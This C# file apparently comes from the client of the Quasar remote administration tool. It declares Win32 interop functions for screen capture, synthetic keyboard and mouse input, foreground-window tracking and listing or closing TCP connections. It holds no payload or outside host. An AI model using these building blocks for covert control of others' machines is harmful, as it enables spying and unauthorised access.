using System;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
namespace Quasar.Client.Utilities
{
///
/// Provides access to the Win32 API.
///
public static class NativeMethods
{
[StructLayout(LayoutKind.Sequential)]
internal struct LASTINPUTINFO
{
public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO));
[MarshalAs(UnmanagedType.U4)] public UInt32 cbSize;
[MarshalAs(UnmanagedType.U4)] public UInt32 dwTime;
}
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool FreeLibrary(IntPtr hModule);
[DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", SetLastError = true)]
internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize);
///
/// Performs a bit-block transfer of the color data corresponding to a
/// rectangle of pixels from the specified source device context into
/// a destination device context.
///
/// Handle to the destination device context.
/// The leftmost x-coordinate of the destination rectangle (in pixels).
/// The topmost y-coordinate of the destination rectangle (in pixels).
/// The width of the source and destination rectangles (in pixels).
/// The height of the source and the destination rectangles (in pixels).
/// Handle to the source device context.
/// The leftmost x-coordinate of the source rectangle (in pixels).
/// The topmost y-coordinate of the source rectangle (in pixels).
/// A raster-operation code.
///
/// true if the operation succeedes, false otherwise. To get extended error information, call .
///
[DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight,
[In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
[DllImport("gdi32.dll", CharSet = CharSet.Unicode)]
internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
[DllImport("gdi32.dll")]
internal static extern bool DeleteDC([In] IntPtr hdc);
[DllImport("user32.dll")]
internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
[DllImport("user32.dll")]
internal static extern bool SetCursorPos(int x, int y);
[DllImport("user32.dll", SetLastError = false)]
internal static extern IntPtr GetMessageExtraInfo();
///
/// Synthesizes keystrokes, mouse motions, and button clicks.
///
[DllImport("user32.dll")]
internal static extern uint SendInput(uint nInputs,
[MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs,
int cbSize);
[StructLayout(LayoutKind.Sequential)]
internal struct INPUT
{
internal uint type;
internal InputUnion u;
internal static int Size => Marshal.SizeOf(typeof(INPUT));
}
[StructLayout(LayoutKind.Explicit)]
internal struct InputUnion
{
[FieldOffset(0)]
internal MOUSEINPUT mi;
[FieldOffset(0)]
internal KEYBDINPUT ki;
[FieldOffset(0)]
internal HARDWAREINPUT hi;
}
[StructLayout(LayoutKind.Sequential)]
internal struct MOUSEINPUT
{
internal int dx;
internal int dy;
internal int mouseData;
internal uint dwFlags;
internal uint time;
internal IntPtr dwExtraInfo;
}
[StructLayout(LayoutKind.Sequential)]
internal struct KEYBDINPUT
{
internal ushort wVk;
internal ushort wScan;
internal uint dwFlags;
internal uint time;
internal IntPtr dwExtraInfo;
}
[StructLayout(LayoutKind.Sequential)]
internal struct HARDWAREINPUT
{
public uint uMsg;
public ushort wParamL;
public ushort wParamH;
}
[DllImport("user32.dll")]
internal static extern bool SystemParametersInfo(
uint uAction, uint uParam, ref IntPtr lpvParam,
uint flags);
[DllImport("user32.dll")]
internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
internal static extern IntPtr OpenDesktop(
string hDesktop, int flags, bool inherit,
uint desiredAccess);
[DllImport("user32.dll")]
internal static extern bool CloseDesktop(
IntPtr hDesktop);
internal delegate bool EnumDesktopWindowsProc(
IntPtr hDesktop, IntPtr lParam);
[DllImport("user32.dll")]
internal static extern bool EnumDesktopWindows(
IntPtr hDesktop, EnumDesktopWindowsProc callback,
IntPtr lParam);
[DllImport("user32.dll")]
internal static extern bool IsWindowVisible(
IntPtr hWnd);
[DllImport("user32.dll")]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("iphlpapi.dll", SetLastError = true)]
internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion,
TcpTableClass tblClass, uint reserved = 0);
[DllImport("iphlpapi.dll")]
internal static extern int SetTcpEntry(IntPtr pTcprow);
[StructLayout(LayoutKind.Sequential)]
internal struct MibTcprowOwnerPid
{
public uint state;
public uint localAddr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort;
public uint remoteAddr;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort;
public uint owningPid;
public IPAddress LocalAddress
{
get { return new IPAddress(localAddr); }
}
public ushort LocalPort
{
get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); }
}
public IPAddress RemoteAddress
{
get { return new IPAddress(remoteAddr); }
}
public ushort RemotePort
{
get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); }
}
}
[StructLayout(LayoutKind.Sequential)]
internal struct MibTcptableOwnerPid
{
public uint dwNumEntries;
private readonly MibTcprowOwnerPid table;
}
internal enum TcpTableClass
{
TcpTableBasicListener,
TcpTableBasicConnections,
TcpTableBasicAll,
TcpTableOwnerPidListener,
TcpTableOwnerPidConnections,
TcpTableOwnerPidAll,
TcpTableOwnerModuleListener,
TcpTableOwnerModuleConnections,
TcpTableOwnerModuleAll
}
}
}